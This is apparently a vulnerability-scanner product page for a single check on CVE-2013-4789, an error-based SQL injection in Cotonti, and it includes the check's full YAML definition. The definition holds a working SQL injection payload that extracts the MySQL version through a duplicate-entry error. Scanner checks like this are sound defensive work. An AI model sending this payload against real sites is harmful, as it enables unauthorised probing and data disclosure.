Cotonti — 1 vulnerability check

noctis ships 1 vulnerability check for Cotonti, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cotonti 'c' Parameter SQL Injection

CVECVE-2013-4789
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, http_request, match, tcp_connect · highest QoD 75
Feedtests/vulnerabilities/cotonti/CVE-2013-4789.yaml

Tests Cotonti for an error-based SQL injection in the 'c' parameter of index.php (e=rss). Confirms by observing the MySQL duplicate-entry error that discloses the database version.

How noctis detects it

  1. HTTP(S) request GET /index.php
  2. Checks fp_resp.body for Cotonti<
  3. Checks fp_resp.body for >Stay tuned
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?e=rss&c='and(select%201%20from(select%20count(*),concat((select%20concat(v…
  5. Checks sqli_root_resp.banner for SQL error 23000: .*Duplicate entry.*group_key → finding QoD 75: Error-based SQLi confirmed — MySQL duplicate-entry error leaks DB version: …

References:

Feed source — tests/vulnerabilities/cotonti/CVE-2013-4789.yaml
# Cotonti 'c' Parameter SQL Injection — CVE-2013-4789
#
# Cotonti 0.9.13 and prior fail to sanitise the 'c' parameter of index.php
# when 'e' is set to 'rss' before using it in a SQL query. An unauthenticated
# attacker can inject SQL; an error-based payload makes the backend echo a
# MySQL duplicate-entry error that leaks the database version.
#
# Detection: fingerprint the Cotonti front page, then send the error-based
# SQLi payload via a verbatim HTTP/1.0 request (the payload is URL-encoded,
# so tcp_connect is required — reqwest would normalise %xx sequences) and
# confirm the MySQL duplicate-entry error in the response.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_cotonti_sql_inj_vuln.nasl
# (GPL-2.0-only). Faithful to the NASL URL, payload and match pattern.
uid: 26063f51-b4d8-4692-bd09-45eab70e31c1
name: "Cotonti 'c' Parameter SQL Injection (CVE-2013-4789)"
description: |
  Tests Cotonti for an error-based SQL injection in the 'c' parameter of
  index.php (e=rss). Confirms by observing the MySQL duplicate-entry error
  that discloses the database version.
cves: [CVE-2013-4789]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.35
tags: [cotonti, sqli, web, cms]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-4789"
  - "OpenVAS/Greenbone NASL 2013/gb_cotonti_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Init flags — undefined Rhai vars throw when read in a condition ───────
  - id: init-fp-marker
    action: set_var
    var_name: fp_marker
    var_value: false

  - id: init-cotonti-confirmed
    action: set_var
    var_name: cotonti_confirmed
    var_value: false

  # ── Fingerprint: confirm the service is Cotonti ──────────────────────────
  - id: fingerprint
    action: http_request
    method: GET
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: fp_resp

  # NASL requires BOTH markers present ("Cotonti<" AND ">Stay tuned"). On a real
  # page these sit on different lines, so a single `.*` pattern would miss them
  # (regex `.` does not cross newlines). Two match steps give a newline-safe AND
  # that is also independent of marker ordering.
  - id: fingerprint-marker-a
    action: match
    source: fp_resp.body
    pattern: "Cotonti<"
    on_match:
      set_vars:
        fp_marker: true

  - id: fingerprint-marker-b
    action: match
    source: fp_resp.body
    pattern: ">Stay tuned"
    condition: "fp_marker == true"
    on_match:
      set_vars:
        cotonti_confirmed: true

  # ── Error-based SQLi (root dir) ──────────────────────────────────────────
  # tcp_connect verbatim HTTP/1.0: the 'c' payload is URL-encoded (%20, %2a…),
  # which reqwest would normalise/resolve away, destroying the injection.
  - id: sqli-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?e=rss&c='and(select%201%20from(select%20count(*),concat((select%20concat(version())),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and' HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: sqli_root_resp
    condition: "cotonti_confirmed == true"

  - id: sqli-root-match
    action: match
    source: sqli_root_resp.banner
    pattern: "SQL error 23000: .*Duplicate entry.*group_key"
    condition: "cotonti_confirmed == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Error-based SQLi confirmed — MySQL duplicate-entry error leaks DB version: {{sqli_root_resp.banner}}"
      stop: true

View these feeds on GitHub